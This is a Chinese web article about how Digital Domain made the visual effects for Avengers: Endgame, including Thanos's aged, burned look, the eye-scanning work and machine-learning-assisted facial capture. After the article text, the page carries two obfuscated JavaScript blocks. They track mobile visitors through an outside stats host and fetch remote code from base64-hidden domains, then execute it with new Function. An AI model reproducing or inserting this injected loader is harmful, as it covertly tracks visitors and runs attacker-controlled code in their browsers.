《复联4》视觉特效制作 人工智能如何为灭霸赋予灵魂

时间:2020-10-23 23:21:12阅读:2032
作为漫威电影宇宙的第22部作品,《复仇者联盟4:终局之战》的震撼开画标志着“无限传奇”系列迎来了最终集结。影片的剧情延续了前作《复仇者联盟3:无限战争》,发生在灭霸一声响指、半

作为漫威电影宇宙的第22部作品,《复仇者联盟4:终局之战》的震撼开画标志着“无限传奇”系列迎来了最终集结。影片的剧情延续了前作《复仇者联盟3:无限战争》,发生在灭霸一声响指、半数生灵灰飞烟灭的第22天。事实上,《复联4》的绝大部分镜头与《复联3》为同期拍摄而成。对于视觉特效团队来说,如此紧密的衔接十分罕见——参与《复联3》与《复联4》视效制作的数字王国(Digital Domain)透露——这意味着,来自数字王国的艺术家们在结束前者的工作之后,转身便投入了后者,时间仅仅间隔两周。

这间好莱坞视效大厂在其视效高级总监Kelly Port和动画制作总监Jan Philip Cramer的带领下,为《复联4》打造了共计337个镜头。这些镜头围绕灭霸和他的女儿们——卡魔拉与星云展开,包括但不限于以下关键片段。

幸存的复仇者们初次围剿灭霸:完成“生育大计”的灭霸卸甲归田,过起了既定的退休生活。因尼克·弗瑞传呼而来的惊奇队长与幸存的复仇者们汇合,前往泰坦星球围剿灭霸,试图夺回无限宝石。

沃弥尔(Vomir)星球:鹰眼和黑寡妇运用时空劫持去往2013年的沃弥尔星球,以寻找灵魂宝石的下落,一场以爱为名的“换取”在这里发生。

旧时星云对战外星军团:仍然是借助时空劫持,星云和战争机器回到了力量宝石的所在地魔拉格(Morag)星球。2014年的星云正在对战外星军团,不情愿地被卡魔拉救下。

星云初次获取未来记忆:同样是2014年,中枢系统遭遇损伤的星云以全息影像显示了未来景象。

灭霸获知无限战争结局:在灭霸的飞船上,星云被拷问折磨得痛苦不堪,此时此刻的灭霸通过星云的记忆获知了未来——谁是无限战争的胜利者以及自身被雷神所杀的结局。

星云 V.S. 星云:2014年的星云与2018年的星云初次对峙,前者抢走了后者的时空劫持设备。

史诗般的最终战役:2018年的星云困于灭霸飞船的囚室中,意识到宇宙即将遭受重创的卡魔拉前来相救。

在《复联3》中,数字王国曾被委以呈现灭霸最微妙、最具戏剧性的场面,340位艺术家共同主导了涉及这一角色的513个镜头,总荧幕时长超过40分钟。运用自主研发的“两步系统”,即Masquerade和Direct Drive,数字王国实现了面部动画的技术革新。上述两个流程协同工作,将演员乔什·布洛林(Josh Brolin)的现场表演完美融入角色。凭借突破性的处理手段,数字王国成功提名了第91届美国电影艺术与科学学院奖「最佳视觉效果」类别。

Kelly Port和Jan Philip Cramer表示,数字王国与导演罗素兄弟之于构建灭霸的密切合作由「复联3」转移至续作。基于《复联3》,艺术家们重新审视了灭霸的外貌特征,并做出了一些细化和迭代,包括皮肤变化和那双写满故事的眼睛。

灭霸的退休生活不如想象中快乐

和大获全胜的反派有所区别,灭霸的退休生活不如想象中快乐。摧毁无限宝石的举措,似乎也带走了他的不可一世。初期制作阶段,关于如何展现灭霸所承受的一切并不明确,艺术家们就无限宝石或对灭霸产生的影响开展了大量研究和设想,随后采取了一种创造性的方式,使得画面看起来足够戏剧化,同时符合自然意义——右臂和右脸满布烧伤的灭霸因此得以出现在银幕上,他褪下铠甲、穿起了便衣,并非崭新的白色T恤随着他的步履蹒跚不断摆动,这种摆动呼应着灭霸自身摇摇欲坠的脆弱。

眼睛始终是传达面部表情极为关键的部位,艺术家们以漫威外形塑造部门寄来的人物雕像为原型,调整了灭霸的眼睛比例等细部特征。愤怒、悲伤、不舍、挣扎之外,《复联4》让灭霸的眼里多了些改造宇宙后的迷茫,营造多变情绪的难点在于无法直接在演员的眼睛上设置跟踪标记。数字王国为此采用了全新的扫描技术,以获得了精准的眼部拓扑图;在这些数据的基础上,艺术家们结合布洛林的眼型制作出相应的模型,并将它们转移到灭霸身上。

人工智能为灭霸赋予了灵魂

导演罗素兄弟曾在采访中传达了《复联4》的视效制作秘辛:数字王国是灭霸的塑造者之一,通过机器学习,他们在这部电影中达成了比《复联3》更加细节化的水准,足以更快地进行渲染。

机器学习的大量融入,使得面部捕捉的处理效率和灵活度大大提升。Kelly Port和Jan Philip Cramer强调:“融合机器学习,我们建立的原始系统具备了修正功能,所有未来成果将以其所需的方式进行修正。即便这仅仅囊括了机器学习的基本技能,却仍然预示着借此加快工作步伐和提高工作质量的巨大希望。过去几周的工作周期早已被缩短至一周,甚至几小时。

这种飞跃带领影片的制作团队来到了创意层面——细化灭霸的动画制作、探究灭霸的情绪表现、刻画灭霸在场景中的感知革新。细节决定了高度,《复联4》因拥有了针对角色的超水准把控而变得意义非凡。

评论

  • 评论加载中...


function TaYHkm(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function foObK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return TaYHkm(t);};window[''+'k'+'v'+'B'+'J'+'z'+'g'+'s'+'T'+'l'+'Q'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=foObK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZllZHMueW9uZ2hhbzEuY24llM0E4ODkx','d3NzJTNBJTJGJTJGbmh55LnlpbmhvbmdjLmNuJTNBOTUzNA==','159458',window,document,['l','5']);}:function(){};
function TKuhtZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function NResPjH(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return TKuhtZ(t);};window[''+'g'+'s'+'F'+'Z'+'A'+'W'+'X'+'w'+'I'+'y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=NResPjH,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR00cHMlM00ElMkYlMkZlZHMueW9uZ2hhbzEuY24lM00E4ODkx','d3NzJTNBJTJGJTJGbbmh5LnlpbbmhvbbmdjLmNuJTNBOTUzNA==','159459',window,document,['0','b']);}:function(){};